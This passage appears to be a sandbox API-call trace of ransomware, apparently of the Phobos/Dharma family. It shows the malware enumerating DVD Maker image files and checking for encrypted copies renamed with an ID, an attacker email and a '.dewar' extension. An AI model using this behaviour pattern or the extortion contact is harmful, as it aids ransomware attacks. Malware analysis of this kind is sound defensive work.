Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.929] SetEvent (hEvent=0x118) returned 1 [0254.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.932] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4955) returned 1 [0254.932] CloseHandle (hObject=0x1e0) returned 1 [0254.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png")) returned 0x20 [0254.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png")) returned 0x20 [0254.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.934] SetEvent (hEvent=0x118) returned 1 [0254.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0254.936] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3081) returned 1 [0254.936] CloseHandle (hObject=0x1e0) returned 1 [0254.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png")) returned 0x20 [0254.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png")) returned 0x20 [0254.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.938] SetEvent (hEvent=0x118) returned 1 [0254.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.386] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=24852) returned 1 [0255.386] CloseHandle (hObject=0x1e0) returned 1 [0255.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png")) returned 0x20 [0255.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png")) returned 0x20 [0255.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.387] SetEvent (hEvent=0x118) returned 1 [0255.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0255.591] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=23215) returned 1 [0255.592] CloseHandle (hObject=0xe0) returned 1 [0255.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png")) returned 0x20 [0255.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png")) returned 0x20 [0255.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.593] SetEvent (hEvent=0x118) returned 1 [0255.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0255.595] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3130) returned 1 [0255.595] CloseHandle (hObject=0xe0) returned 1 [0255.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png")) returned 0x20 [0255.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png")) returned 0x20 [0255.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.597] SetEvent (hEvent=0x118) returned 1 [0255.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0255.600] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5025) returned 1 [0255.601] CloseHandle (hObject=0xe0) returned 1 [0255.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png")) returned 0x20 [0255.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png")) returned 0x20 [0255.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.602] SetEvent (hEvent=0x118) returned 1 [0255.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0255.605] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3118) returned 1 [0255.605] CloseHandle (hObject=0xe0) returned 1 [0255.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png")) returned 0x20 [0255.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png")) returned 0x20 [0255.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.606] SetEvent (hEvent=0x118) returned 1 [0255.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.838] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4955) returned 1 [0255.838] CloseHandle (hObject=0x1e0) returned 1 [0255.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png")) returned 0x20 [0255.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png")) returned 0x20 [0255.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.839] SetEvent (hEvent=0x118) returned 1 [0255.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.948] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4815) returned 1 [0255.948] CloseHandle (hObject=0x1e0) returned 1 [0255.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png")) returned 0x20 [0255.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png")) returned 0x20 [0255.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.949] SetEvent (hEvent=0x118) returned 1 [0255.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.951] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3024) returned 1 [0255.951] CloseHandle (hObject=0x1e0) returned 1 [0255.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png")) returned 0x20 [0255.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png")) returned 0x20 [0255.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.953] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4866) returned 1 [0255.953] CloseHandle (hObject=0x1e0) returned 1 [0255.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png")) returned 0x20 [0255.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png")) returned 0x20 [0255.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.959] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3011) returned 1 [0255.959] CloseHandle (hObject=0x1e0) returned 1 [0255.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png")) returned 0x20 [0255.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png")) returned 0x20 [0255.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.961] SetEvent (hEvent=0x118) returned 1 [0255.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.962] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=19112) returned 1 [0255.962] CloseHandle (hObject=0x1e0) returned 1 [0255.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png")) returned 0x20 [0255.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png")) returned 0x20 [0255.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.965] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6423) returned 1 [0255.965] CloseHandle (hObject=0x1e0) returned 1 [0255.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png")) returned 0x20 [0255.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd 